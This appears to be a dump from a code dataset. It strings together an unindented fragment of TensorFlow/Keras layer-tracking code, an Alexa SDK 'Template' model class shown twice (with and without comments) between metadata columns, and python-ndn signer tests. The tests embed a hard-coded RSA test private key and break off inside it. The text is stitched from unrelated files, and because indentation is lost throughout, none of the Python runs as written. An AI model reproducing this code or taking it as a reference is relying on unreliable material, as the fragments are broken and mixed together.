# class forced us to have AutoTrackable in the class hierarchy. Skipping
# the __delattr__ and __setattr__ in AutoTrackable will keep the status quo.
existing_value = getattr(self, name, None)
# If this value is replacing an existing object assigned to an attribute, we
# should clean it out to avoid leaking memory. First we check if there are
# other attributes referencing it.
reference_counts = self._obj_reference_counts
if existing_value not in reference_counts:
super(tracking.AutoTrackable, self).__delattr__(name)
return
reference_count = reference_counts[existing_value]
if reference_count > 1:
# There are other remaining references. We can't remove this object from
# _layers etc.
reference_counts[existing_value] = reference_count - 1
super(tracking.AutoTrackable, self).__delattr__(name)
return
else:
# This is the last remaining reference.
del reference_counts[existing_value]
super(tracking.AutoTrackable, self).__delattr__(name)
if (isinstance(existing_value, Layer)
or trackable_layer_utils.has_weights(existing_value)):
super(tracking.AutoTrackable, self).__setattr__(
'_layers',
[l for l in self._layers if l is not existing_value])
self._attribute_sentinel.invalidate_all()
if isinstance(existing_value, tf_variables.Variable):
super(tracking.AutoTrackable, self).__setattr__(
'_trainable_weights',
[w for w in self._trainable_weights if w is not existing_value])
super(tracking.AutoTrackable, self).__setattr__(
'_non_trainable_weights',
[w for w in self._non_trainable_weights if w is not existing_value])
# Any time we change `_layers` (either by deleting the attribute or by
# reassigning it which will call __delattr__ from __setattr__) the topology
# of the subgraph of Layers may change. In that case we will need to
# recompute any attribute which depends on that subgraph.
if name == '_layers':
self._attribute_sentinel.invalidate_all()
def __setattr__(self, name, value):
if (name == '_self_setattr_tracking' or
not getattr(self, '_self_setattr_tracking', True) or
# Exclude @property.setters from tracking
hasattr(self.__class__, name)):
try:
super(tracking.AutoTrackable, self).__setattr__(name, value)
except AttributeError:
raise AttributeError(
('Can\'t set the attribute "{}", likely because it conflicts with '
'an existing read-only @property of the object. Please choose a '
'different name.').format(name))
return
# Keep track of trackable objects, for the needs of `Network.save_weights`.
value = data_structures.sticky_attribute_assignment(
trackable=self, value=value, name=name)
reference_counts = self._obj_reference_counts
reference_counts[value] = reference_counts.get(value, 0) + 1
# Clean out the old attribute, which clears _layers and _trainable_weights
# if necessary.
try:
self.__delattr__(name)
except AttributeError:
pass
# TODO(scottzhu): Need to track Module object as well for weight tracking.
# Be careful about metric if it becomes a Module in future.
# Append value to self._layers if relevant
# Sequential models use a separate layer tracking mechanism, so skip the
# logic defined here for tracking layers.
if (self.__class__.__name__ != 'Sequential' and
(isinstance(value, Layer) or trackable_layer_utils.has_weights(value))):
self._maybe_create_attribute('_layers', [])
# We need to check object identity to avoid de-duplicating empty
# container types which compare equal.
if not any((layer is value for layer in self._layers)):
self._layers.append(value)
if hasattr(value, '_attribute_sentinel'):
value._attribute_sentinel.add_parent(self._attribute_sentinel)
if hasattr(value, '_use_resource_variables'):
# Legacy layers (V1 tf.layers) must always use
# resource variables.
value._use_resource_variables = True
# Append value to list of trainable / non-trainable weights if relevant
# TODO(b/125122625): This won't pick up on any variables added to a
# list/dict after creation.
for val in nest.flatten(value):
# TODO(b/126450014): Remove `_UnreadVariable` check here when assign ops
# no longer return True for isinstance Variable checks.
if not isinstance(val, tf_variables.Variable):
continue
if isinstance(val, resource_variable_ops._UnreadVariable): # pylint: disable=protected-access
continue
# Users may add extra weights/variables
# simply by assigning them to attributes (invalid for graph networks)
self._maybe_create_attribute('_trainable_weights', [])
self._maybe_create_attribute('_non_trainable_weights', [])
if val.trainable:
if any(val is w for w in self._trainable_weights):
continue
self._trainable_weights.append(val)
else:
if any(val is w for w in self._non_trainable_weights):
continue
self._non_trainable_weights.append(val)
backend.track_variable(val)
# Skip the auto trackable from tf.Module to keep status quo. See the comment
# at __delattr__.
super(tracking.AutoTrackable, self).__setattr__(name, value)
def _gather_children_attribute(self, attribute):
assert attribute in {
'weights', 'trainable_weights', 'non_trainable_weights'
}
if hasattr(self, '_layers'):
nested_layers = trackable_layer_utils.filter_empty_layer_containers(
self._layers)
return list(
itertools.chain.from_iterable(
getattr(layer, attribute) for layer in nested_layers))
return []
def _gather_unique_layers(self):
all_layers = self._gather_layers()
unique_layers, seen_layers = [], object_identity.ObjectIdentitySet()
for layer in all_layers:
if layer not in seen_layers:
unique_layers.append(layer)
# Track the Variable's identity to avoid __eq__ issues.
seen_layers.add(layer)
return unique_layers
def _gather_layers(self):
all_layers = [self]
if hasattr(self, '_layers'):
child_layers = trackable_layer_utils.filter_empty_layer_containers(
self._layers)
for child_layer in child_layers:
all_layers.extend(child_layer._gather_layers())
return all_layers
@property
@tracking.cached_per_instance
def _attribute_sentinel(self):
return trackable_layer_utils.AttributeSentinel()
# This is a hack so that the is_layer (within
# training/trackable/layer_utils.py) check doesn't get the weights attr.
# TODO(b/110718070): Remove when fixed.
def _is_layer(self):
return True
def _init_call_fn_args(self):
# Clear cached call function arguments.
self.__class__._call_full_argspec.fget.cache.pop(self, None)
self.__class__._call_fn_args.fget.cache.pop(self, None)
self.__class__._call_accepts_kwargs.fget.cache.pop(self, None)
call_fn_args = self._call_fn_args
self._expects_training_arg = ('training' in call_fn_args or
self._call_accepts_kwargs)
self._expects_mask_arg = ('mask' in call_fn_args or
self._call_accepts_kwargs)
@property
@tracking.cached_per_instance
def _call_full_argspec(self):
# Argspec inspection is expensive and the call spec is used often, so it
# makes sense to cache the result.
return tf_inspect.getfullargspec(self.call)
@property
@tracking.cached_per_instance
def _call_fn_args(self):
all_args = self._call_full_argspec.args
# Scrub `self` that appears if a decorator was applied.
if all_args and all_args[0] == 'self':
return all_args[1:]
return all_args
@property
@tracking.cached_per_instance
def _call_accepts_kwargs(self):
return self._call_full_argspec.varkw is not None
@property
@tracking.cached_per_instance
def _should_compute_mask(self):
return ('mask' in self._call_fn_args or
getattr(self, 'compute_mask', None) is not None)
@property
def _eager_losses(self):
# A list of loss values containing activity regularizers and losses
# manually added through `add_loss` during eager execution. It is cleared
# after every batch.
# Because we plan on eventually allowing a same model instance to be trained
# in eager mode or graph mode alternatively, we need to keep track of
# eager losses and symbolic losses via separate attributes.
if not hasattr(self._thread_local, '_eager_losses'):
self._thread_local._eager_losses = []
return self._thread_local._eager_losses
@_eager_losses.setter
def _eager_losses(self, losses):
self._thread_local._eager_losses = losses
def _dedup_weights(self, weights):
output, seen_weights = [], object_identity.ObjectIdentitySet()
for w in weights:
if w not in seen_weights:
output.append(w)
# Track the Variable's identity to avoid __eq__ issues.
seen_weights.add(w)
return output
# SavedModel properties. Please see keras/saving/saved_model for details.
@property
def _trackable_saved_model_saver(self):
return layer_serialization.LayerSavedModelSaver(self)
@property
def _object_identifier(self):
return self._trackable_saved_model_saver.object_identifier
@property
def _tracking_metadata(self):
return self._trackable_saved_model_saver.tracking_metadata
def _list_extra_dependencies_for_serialization(self, serialization_cache):
return (self._trackable_saved_model_saver
.list_extra_dependencies_for_serialization(serialization_cache))
def _list_functions_for_serialization(self, serialization_cache):
return (self._trackable_saved_model_saver
.list_functions_for_serialization(serialization_cache))
def __getstate__(self):
# Override to support `copy.deepcopy` and pickling.
# Thread-local objects cannot be copied in Python 3, so pop these.
# Thread-local objects are used to cache losses in MirroredStrategy, and
# so shouldn't be copied.
state = self.__dict__.copy()
state.pop('_thread_local', None)
return state
def __setstate__(self, state):
state['_thread_local'] = threading.local()
# Bypass Trackable logic as `__dict__` already contains this info.
object.__setattr__(self, '__dict__', state)
class TensorFlowOpLayer(Layer):
def __init__(self,
node_def,
name,
constants=None,
trainable=True,
dtype=None):
# Pass autocast=False, as if inputs are cast, input types might not match
# Operation type.
super(TensorFlowOpLayer, self).__init__(
name=_TF_OP_LAYER_NAME_PREFIX + name, trainable=trainable, dtype=dtype,
autocast=False)
_keras_layers_gauge.get_cell('TensorflowOpLayer').set(True)
if isinstance(node_def, dict):
self.node_def = json_format.ParseDict(node_def, node_def_pb2.NodeDef())
else:
if not isinstance(node_def, bytes):
node_def = node_def.encode('utf-8')
self.node_def = node_def_pb2.NodeDef.FromString(node_def)
# JSON serialization stringifies keys which are integer input indices.
self.constants = ({
int(index): constant for index, constant in constants.items()
} if constants is not None else {})
# Layer uses original op unless it is called on new inputs.
# This means `built` is not set in `__call__`.
self.built = True
def call(self, inputs):
if context.executing_eagerly():
return self._defun_call(inputs)
return self._make_op(inputs)
def _make_node_def(self, graph):
node_def = node_def_pb2.NodeDef()
node_def.CopyFrom(self.node_def)
# Used in TPUReplicateContext to indicate whether this node has been cloned
# and to not add TPU attributes.
node_def.attr['_cloned'].b = True
node_def.name = graph.unique_name(node_def.name)
return node_def
def _make_op(self, inputs):
inputs = nest.flatten(inputs)
graph = inputs[0].graph
node_def = self._make_node_def(graph)
with graph.as_default():
for index, constant in self.constants.items():
# Recreate constant in graph to add distribution context.
value = tensor_util.constant_value(constant)
if value is not None:
constant = constant_op.constant(value, name=node_def.input[index])
inputs.insert(index, constant)
c_op = ops._create_c_op(graph, node_def, inputs, control_inputs=[])
op = graph._create_op_from_tf_operation(c_op)
op._control_flow_post_processing()
# Record the gradient because custom-made ops don't go through the
# code-gen'd eager call path
op_type = compat.as_str(op.op_def.name)
attr_names = [compat.as_str(attr.name) for attr in op.op_def.attr]
attrs = []
for attr_name in attr_names:
attrs.append(attr_name)
attrs.append(op.get_attr(attr_name))
attrs = tuple(attrs)
execute.record_gradient(op_type, op.inputs, attrs, op.outputs)
if len(op.outputs) == 1:
return op.outputs[0]
return op.outputs
@function.defun
def _defun_call(self, inputs):
return self._make_op(inputs)
def get_config(self):
config = super(TensorFlowOpLayer, self).get_config()
config.update({
# `__init__` prefixes the name. Revert to the constructor argument.
'name': config['name'][len(_TF_OP_LAYER_NAME_PREFIX):],
'node_def': json_format.MessageToDict(self.node_def),
'constants': {
i: backend.get_value(c) for i, c in self.constants.items()
}
})
return config
class AddLoss(Layer):
def __init__(self, unconditional, **kwargs):
# Pass autocast=False, as there is no reason to cast loss to a different
# dtype.
kwargs['autocast'] = False
super(AddLoss, self).__init__(**kwargs)
self.unconditional = unconditional
def call(self, inputs):
self.add_loss(inputs, inputs=(not self.unconditional))
return inputs
def get_config(self):
config = super(AddLoss, self).get_config()
config.update({'unconditional': self.unconditional})
return config
class AddMetric(Layer):
def __init__(self, aggregation=None, metric_name=None, **kwargs):
super(AddMetric, self).__init__(**kwargs)
self.aggregation = aggregation
self.metric_name = metric_name
def call(self, inputs):
self.add_metric(inputs, self.aggregation, self.metric_name)
return inputs
def get_config(self):
config = super(AddMetric, self).get_config()
config.update({
'aggregation': self.aggregation,
'metric_name': self.metric_name
})
return config
class KerasHistory(
collections.namedtuple('KerasHistory',
['layer', 'node_index', 'tensor_index'])):
# Added to maintain memory and performance characteristics of `namedtuple`
# while subclassing.
__slots__ = ()
# Avoid breaking users who directly import this symbol from this file.
# TODO(fchollet): remove this.
InputSpec = input_spec.InputSpec # pylint:disable=invalid-name
| true | true |
f7f37f964d91421f28dc708531732d6d685b7822 | 6,015 | py | Python | env/lib/python3.8/site-packages/ask_sdk_model/interfaces/display/template.py | adamash99/alexa-play-pot-of-greed | dc2d18dae55692a4bf1becb72685a5777870c643 | [
"MIT"
] | 90 | 2018-09-19T21:56:42.000Z | 2022-03-30T11:25:21.000Z | ask-sdk-model/ask_sdk_model/interfaces/display/template.py | ishitaojha/alexa-apis-for-python | a68f94b7a0e41f819595d6fe56e800403e8a4194 | [
"Apache-2.0"
] | 11 | 2018-09-23T12:16:48.000Z | 2021-06-10T19:49:45.000Z | ask-sdk-model/ask_sdk_model/interfaces/display/template.py | ishitaojha/alexa-apis-for-python | a68f94b7a0e41f819595d6fe56e800403e8a4194 | [
"Apache-2.0"
] | 28 | 2018-09-19T22:30:38.000Z | 2022-02-22T22:57:07.000Z | # coding: utf-8
#
# Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file
# except in compliance with the License. A copy of the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for
# the specific language governing permissions and limitations under the License.
#
import pprint
import re # noqa: F401
import six
import typing
from enum import Enum
from abc import ABCMeta, abstractmethod
if typing.TYPE_CHECKING:
from typing import Dict, List, Optional, Union, Any
from datetime import datetime
from ask_sdk_model.interfaces.display.back_button_behavior import BackButtonBehavior as BackButtonBehavior_46c3eb02
class Template(object):
"""
:param object_type:
:type object_type: (optional) str
:param token:
:type token: (optional) str
:param back_button:
:type back_button: (optional) ask_sdk_model.interfaces.display.back_button_behavior.BackButtonBehavior
.. note::
This is an abstract class. Use the following mapping, to figure out
the model class to be instantiated, that sets ``type`` variable.
| ListTemplate2: :py:class:`ask_sdk_model.interfaces.display.list_template2.ListTemplate2`,
|
| ListTemplate1: :py:class:`ask_sdk_model.interfaces.display.list_template1.ListTemplate1`,
|
| BodyTemplate7: :py:class:`ask_sdk_model.interfaces.display.body_template7.BodyTemplate7`,
|
| BodyTemplate6: :py:class:`ask_sdk_model.interfaces.display.body_template6.BodyTemplate6`,
|
| BodyTemplate3: :py:class:`ask_sdk_model.interfaces.display.body_template3.BodyTemplate3`,
|
| BodyTemplate2: :py:class:`ask_sdk_model.interfaces.display.body_template2.BodyTemplate2`,
|
| BodyTemplate1: :py:class:`ask_sdk_model.interfaces.display.body_template1.BodyTemplate1`
"""
deserialized_types = {
'object_type': 'str',
'token': 'str',
'back_button': 'ask_sdk_model.interfaces.display.back_button_behavior.BackButtonBehavior'
} # type: Dict
attribute_map = {
'object_type': 'type',
'token': 'token',
'back_button': 'backButton'
} # type: Dict
supports_multiple_types = False
discriminator_value_class_map = {
'ListTemplate2': 'ask_sdk_model.interfaces.display.list_template2.ListTemplate2',
'ListTemplate1': 'ask_sdk_model.interfaces.display.list_template1.ListTemplate1',
'BodyTemplate7': 'ask_sdk_model.interfaces.display.body_template7.BodyTemplate7',
'BodyTemplate6': 'ask_sdk_model.interfaces.display.body_template6.BodyTemplate6',
'BodyTemplate3': 'ask_sdk_model.interfaces.display.body_template3.BodyTemplate3',
'BodyTemplate2': 'ask_sdk_model.interfaces.display.body_template2.BodyTemplate2',
'BodyTemplate1': 'ask_sdk_model.interfaces.display.body_template1.BodyTemplate1'
}
json_discriminator_key = "type"
__metaclass__ = ABCMeta
@abstractmethod
def __init__(self, object_type=None, token=None, back_button=None):
# type: (Optional[str], Optional[str], Optional[BackButtonBehavior_46c3eb02]) -> None
"""
:param object_type:
:type object_type: (optional) str
:param token:
:type token: (optional) str
:param back_button:
:type back_button: (optional) ask_sdk_model.interfaces.display.back_button_behavior.BackButtonBehavior
"""
self.__discriminator_value = None # type: str
self.object_type = object_type
self.token = token
self.back_button = back_button
@classmethod
def get_real_child_model(cls, data):
# type: (Dict[str, str]) -> Optional[str]
"""Returns the real base class specified by the discriminator"""
discriminator_value = data[cls.json_discriminator_key]
return cls.discriminator_value_class_map.get(discriminator_value)
def to_dict(self):
# type: () -> Dict[str, object]
"""Returns the model properties as a dict"""
result = {} # type: Dict
for attr, _ in six.iteritems(self.deserialized_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else
x.value if isinstance(x, Enum) else x,
value
))
elif isinstance(value, Enum):
result[attr] = value.value
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else
(item[0], item[1].value)
if isinstance(item[1], Enum) else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
# type: () -> str
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
# type: () -> str
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
# type: (object) -> bool
"""Returns true if both objects are equal"""
if not isinstance(other, Template):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
# type: (object) -> bool
"""Returns true if both objects are not equal"""
return not self == other
| 36.676829 | 119 | 0.644389 |
import pprint
import re
import six
import typing
from enum import Enum
from abc import ABCMeta, abstractmethod
if typing.TYPE_CHECKING:
from typing import Dict, List, Optional, Union, Any
from datetime import datetime
from ask_sdk_model.interfaces.display.back_button_behavior import BackButtonBehavior as BackButtonBehavior_46c3eb02
class Template(object):
deserialized_types = {
'object_type': 'str',
'token': 'str',
'back_button': 'ask_sdk_model.interfaces.display.back_button_behavior.BackButtonBehavior'
}
attribute_map = {
'object_type': 'type',
'token': 'token',
'back_button': 'backButton'
}
supports_multiple_types = False
discriminator_value_class_map = {
'ListTemplate2': 'ask_sdk_model.interfaces.display.list_template2.ListTemplate2',
'ListTemplate1': 'ask_sdk_model.interfaces.display.list_template1.ListTemplate1',
'BodyTemplate7': 'ask_sdk_model.interfaces.display.body_template7.BodyTemplate7',
'BodyTemplate6': 'ask_sdk_model.interfaces.display.body_template6.BodyTemplate6',
'BodyTemplate3': 'ask_sdk_model.interfaces.display.body_template3.BodyTemplate3',
'BodyTemplate2': 'ask_sdk_model.interfaces.display.body_template2.BodyTemplate2',
'BodyTemplate1': 'ask_sdk_model.interfaces.display.body_template1.BodyTemplate1'
}
json_discriminator_key = "type"
__metaclass__ = ABCMeta
@abstractmethod
def __init__(self, object_type=None, token=None, back_button=None):
self.__discriminator_value = None
self.object_type = object_type
self.token = token
self.back_button = back_button
@classmethod
def get_real_child_model(cls, data):
discriminator_value = data[cls.json_discriminator_key]
return cls.discriminator_value_class_map.get(discriminator_value)
def to_dict(self):
result = {}
for attr, _ in six.iteritems(self.deserialized_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else
x.value if isinstance(x, Enum) else x,
value
))
elif isinstance(value, Enum):
result[attr] = value.value
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else
(item[0], item[1].value)
if isinstance(item[1], Enum) else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
return pprint.pformat(self.to_dict())
def __repr__(self):
return self.to_str()
def __eq__(self, other):
if not isinstance(other, Template):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
return not self == other
| true | true |
f7f37f9a9e15b732dceb3f4dca28437b6f6a15fd | 13,167 | py | Python | tests/security/signer_test.py | Kjwon15/python-ndn | 4d1c827958bce1caeacc16f72a47ee8c90db1d6e | [
"Apache-2.0"
] | null | null | null | tests/security/signer_test.py | Kjwon15/python-ndn | 4d1c827958bce1caeacc16f72a47ee8c90db1d6e | [
"Apache-2.0"
] | null | null | null | tests/security/signer_test.py | Kjwon15/python-ndn | 4d1c827958bce1caeacc16f72a47ee8c90db1d6e | [
"Apache-2.0"
] | null | null | null | # -----------------------------------------------------------------------------
# Copyright (C) 2019-2020 Xinyu Ma
#
# This file is part of python-ndn.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# -----------------------------------------------------------------------------
from Cryptodome.Util.asn1 import DerSequence
from Cryptodome.Hash import SHA256
from Cryptodome.PublicKey import ECC
from Cryptodome.Signature import DSS
from ndn.encoding import make_data, MetaInfo, parse_data
from ndn.security import Sha256WithEcdsaSigner, Sha256WithRsaSigner, HmacSha256Signer
class TestSha256WithEcdsaSigner:
def test_verify(self):
# Ecdsa signature is not unique, so we only test if we can verify it
pri_key = ECC.generate(curve="P-256")
key = pri_key.export_key(format="DER")
pub_key = pri_key.public_key()
signer = Sha256WithEcdsaSigner("/K/KEY/x", key)
pkt = make_data("/test", MetaInfo(), b"test content", signer=signer)
_, _, _, sig_ptrs = parse_data(pkt)
# Test its format is ASN.1 der format
DerSequence().decode(bytes(sig_ptrs.signature_value_buf))
verifier = DSS.new(pub_key, 'fips-186-3', 'der')
h = SHA256.new()
for content in sig_ptrs.signature_covered_part:
h.update(content)
# verify() throws ValueError if it fails, the return value is undefined
# So do not assert its value
verifier.verify(h, bytes(sig_ptrs.signature_value_buf))
class TestSha256WithHmacSigner:
def test_rfc4231_1(self):
key = b'\x0b' * 20
signer = HmacSha256Signer('name', key)
data = b'Hi There'
wire = bytearray(32)
assert signer.get_signature_value_size() == 32
assert signer.write_signature_value(wire, [memoryview(data)]) == 32
assert wire.hex() == 'b0344c61d8db38535ca8afceaf0bf12b881dc200c9833da726e9376c2e32cff7'
def test_rfc4231_2(self):
key = b'Jefe'
signer = HmacSha256Signer('name', key)
data = b'what do ya want for nothing?'
wire = bytearray(32)
assert signer.write_signature_value(wire, [memoryview(data)]) == 32
assert wire.hex() == '5bdcc146bf60754e6a042426089575c75a003f089d2739839dec58b964ec3843'
def test_rfc4231_3(self):
key = b'\xaa' * 20
signer = HmacSha256Signer('name', key)
data = b'\xdd' * 50
wire = bytearray(32)
assert signer.write_signature_value(wire, [memoryview(data)]) == 32
assert wire.hex() == '773ea91e36800e46854db8ebd09181a72959098b3ef8c122d9635514ced565fe'
def test_data_1(self):
key = bytes(i for i in range(32))
signer = HmacSha256Signer('key1', key)
data = make_data('/ndn/abc', MetaInfo(None), b'SUCCESS!', signer)
assert (data.hex() == '0649070a08036e646e0803616263'
'140015085355434345535321'
'160d1b01041c08070608046b657931'
'172019868e7183998df373332f3dd1c9c950fc29d734c07977791d8396fa3b91fd36')
class TestSha256WithRsaSigner:
def test_data(self):
key = bytes([
0x30, 0x82, 0x04, 0xbf, 0x02, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7,
0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, 0x04, 0xa9, 0x30, 0x82, 0x04, 0xa5, 0x02, 0x01,
0x00, 0x02, 0x82, 0x01, 0x01, 0x00, 0xb8, 0x09, 0xa7, 0x59, 0x82, 0x84, 0xec, 0x4f, 0x06, 0xfa,
0x1c, 0xb2, 0xe1, 0x38, 0x93, 0x53, 0xbb, 0x7d, 0xd4, 0xac, 0x88, 0x1a, 0xf8, 0x25, 0x11, 0xe4,
0xfa, 0x1d, 0x61, 0x24, 0x5b, 0x82, 0xca, 0xcd, 0x72, 0xce, 0xdb, 0x66, 0xb5, 0x8d, 0x54, 0xbd,
0xfb, 0x23, 0xfd, 0xe8, 0x8e, 0xaf, 0xa7, 0xb3, 0x79, 0xbe, 0x94, 0xb5, 0xb7, 0xba, 0x17, 0xb6,
0x05, 0xae, 0xce, 0x43, 0xbe, 0x3b, 0xce, 0x6e, 0xea, 0x07, 0xdb, 0xbf, 0x0a, 0x7e, 0xeb, 0xbc,
0xc9, 0x7b, 0x62, 0x3c, 0xf5, 0xe1, 0xce, 0xe1, 0xd9, 0x8d, 0x9c, 0xfe, 0x1f, 0xc7, 0xf8, 0xfb,
0x59, 0xc0, 0x94, 0x0b, 0x2c, 0xd9, 0x7d, 0xbc, 0x96, 0xeb, 0xb8, 0x79, 0x22, 0x8a, 0x2e, 0xa0,
0x12, 0x1d, 0x42, 0x07, 0xb6, 0x5d, 0xdb, 0xe1, 0xf6, 0xb1, 0x5d, 0x7b, 0x1f, 0x54, 0x52, 0x1c,
0xa3, 0x11, 0x9b, 0xf9, 0xeb, 0xbe, 0xb3, 0x95, 0xca, 0xa5, 0x87, 0x3f, 0x31, 0x18, 0x1a, 0xc9,
0x99, 0x01, 0xec, 0xaa, 0x90, 0xfd, 0x8a, 0x36, 0x35, 0x5e, 0x12, 0x81, 0xbe, 0x84, 0x88, 0xa1,
0x0d, 0x19, 0x2a, 0x4a, 0x66, 0xc1, 0x59, 0x3c, 0x41, 0x83, 0x3d, 0x3d, 0xb8, 0xd4, 0xab, 0x34,
0x90, 0x06, 0x3e, 0x1a, 0x61, 0x74, 0xbe, 0x04, 0xf5, 0x7a, 0x69, 0x1b, 0x9d, 0x56, 0xfc, 0x83,
0xb7, 0x60, 0xc1, 0x5e, 0x9d, 0x85, 0x34, 0xfd, 0x02, 0x1a, 0xba, 0x2c, 0x09, 0x72, 0xa7, 0x4a,
0x5e, 0x18, 0xbf, 0xc0, 0x58, 0xa7, 0x49, 0x34, 0x46, 0x61, 0x59, 0x0e, 0xe2, 0x6e, 0x9e, 0xd2,
0xdb, 0xfd, 0x72, 0x2f, 0x3c, 0x47, 0xcc, 0x5f, 0x99, 0x62, 0xee, 0x0d, 0xf3, 0x1f, 0x30, 0x25,
0x20, 0x92, 0x15, 0x4b, 0x04, 0xfe, 0x15, 0x19, 0x1d, 0xdc, 0x7e, 0x5c, 0x10, 0x21, 0x52, 0x21,
0x91, 0x54, 0x60, 0x8b, 0x92, 0x41, 0x02, 0x03, 0x01, 0x00, 0x01, 0x02, 0x82, 0x01, 0x01, 0x00,
0x8a, 0x05, 0xfb, 0x73, 0x7f, 0x16, 0xaf, 0x9f, 0xa9, 0x4c, 0xe5, 0x3f, 0x26, 0xf8, 0x66, 0x4d,
0xd2, 0xfc, 0xd1, 0x06, 0xc0, 0x60, 0xf1, 0x9f, 0xe3, 0xa6, 0xc6, 0x0a, 0x48, 0xb3, 0x9a, 0xca,
0x21, 0xcd, 0x29, 0x80, 0x88, 0x3d, 0xa4, 0x85, 0xa5, 0x7b, 0x82, 0x21, 0x81, 0x28, 0xeb, 0xf2,
0x43, 0x24, 0xb0, 0x76, 0xc5, 0x52, 0xef, 0xc2, 0xea, 0x4b, 0x82, 0x41, 0x92, 0xc2, 0x6d, 0xa6,
0xae, 0xf0, 0xb2, 0x26, 0x48, 0xa1, 0x23, 0x7f, 0x02, 0xcf, 0xa8, 0x90, 0x17, 0xa2, 0x3e, 0x8a,
0x26, 0xbd, 0x6d, 0x8a, 0xee, 0xa6, 0x0c, 0x31, 0xce, 0xc2, 0xbb, 0x92, 0x59, 0xb5, 0x73, 0xe2,
0x7d, 0x91, 0x75, 0xe2, 0xbd, 0x8c, 0x63, 0xe2, 0x1c, 0x8b, 0xc2, 0x6a, 0x1c, 0xfe, 0x69, 0xc0,
0x44, 0xcb, 0x58, 0x57, 0xb7, 0x13, 0x42, 0xf0, 0xdb, 0x50, 0x4c, 0xe0, 0x45, 0x09, 0x8f, 0xca,
0x45, 0x8a, 0x06, 0xfe, 0x98, 0xd1, 0x22, 0xf5, 0x5a, 0x9a, 0xdf, 0x89, 0x17, 0xca, 0x20, 0xcc,
0x12, 0xa9, 0x09, 0x3d, 0xd5, 0xf7, 0xe3, 0xeb, 0x08, 0x4a, 0xc4, 0x12, 0xc0, 0xb9, 0x47, 0x6c,
0x79, 0x50, 0x66, 0xa3, 0xf8, 0xaf, 0x2c, 0xfa, 0xb4, 0x6b, 0xec, 0x03, 0xad, 0xcb, 0xda, 0x24,
0x0c, 0x52, 0x07, 0x87, 0x88, 0xc0, 0x21, 0xf3, 0x02, 0xe8, 0x24, 0x44, 0x0f, 0xcd, 0xa0, 0xad,
0x2f, 0x1b, 0x79, 0xab, 0x6b, 0x49, 0x4a, 0xe6, 0x3b, 0xd0, 0xad, 0xc3, 0x48, 0xb9, 0xf7, 0xf1,
0x34, 0x09, 0xeb, 0x7a, 0xc0, 0xd5, 0x0d, 0x39, 0xd8, 0x45, 0xce, 0x36, 0x7a, 0xd8, 0xde, 0x3c,
0xb0, 0x21, 0x96, 0x97, 0x8a, 0xff, 0x8b, 0x23, 0x60, 0x4f, 0xf0, 0x3d, 0xd7, 0x8f, 0xf3, 0x2c,
0xcb, 0x1d, 0x48, 0x3f, 0x86, 0xc4, 0xa9, 0x00, 0xf2, 0x23, 0x2d, 0x72, 0x4d, 0x66, 0xa5, 0x01,
0x02, 0x81, 0x81, 0x00, 0xdc, 0x4f, 0x99, 0x44, 0x0d, 0x7f, 0x59, 0x46, 0x1e, 0x8f, 0xe7, 0x2d,
0x8d, 0xdd, 0x54, 0xc0, 0xf7, 0xfa, 0x46, 0x0d, 0x9d, 0x35, 0x03, 0xf1, 0x7c, 0x12, 0xf3, 0x5a,
0x9d, 0x83, 0xcf, 0xdd, 0x37, 0x21, 0x7c, 0xb7, 0xee, 0xc3, 0x39, 0xd2, 0x75, 0x8f, 0xb2, 0x2d,
0x6f, 0xec, 0xc6, 0x03, 0x55, 0xd7, 0x00, 0x67, 0xd3, 0x9b, 0xa2, 0x68, 0x50, 0x6f, 0x9e, 0x28,
0xa4, 0x76, 0x39, 0x2b, 0xb2, 0x65, 0xcc, 0x72, 0x82, 0x93, 0xa0, 0xcf, 0x10, 0x05, 0x6a, 0x75,
0xca, 0x85, 0x35, 0x99, 0xb0, 0xa6, 0xc6, 0xef, 0x4c, 0x4d, 0x99, 0x7d, 0x2c, 0x38, 0x01, 0x21,
0xb5, 0x31, 0xac, 0x80, 0x54, 0xc4, 0x18, 0x4b, 0xfd, 0xef, 0xb3, 0x30, 0x22, 0x51, 0x5a, 0xea,
0x7d, 0x9b, 0xb2, 0x9d, 0xcb, 0xba, 0x3f, 0xc0, 0x1a, 0x6b, 0xcd, 0xb0, 0xe6, 0x2f, 0x04, 0x33,
0xd7, 0x3a, 0x49, 0x71, 0x02, 0x81, 0x81, 0x00, 0xd5, 0xd9, 0xc9, 0x70, 0x1a, 0x13, 0xb3, 0x39,
0x24, 0x02, 0xee, 0xb0, 0xbb, 0x84, 0x17, 0x12, 0xc6, 0xbd, 0x65, 0x73, 0xe9, 0x34, 0x5d, 0x43,
0xff, 0xdc, 0xf8, 0x55, 0xaf, 0x2a, 0xb9, 0xe1, 0xfa, 0x71, 0x65, 0x4e, 0x50, 0x0f, 0xa4, 0x3b,
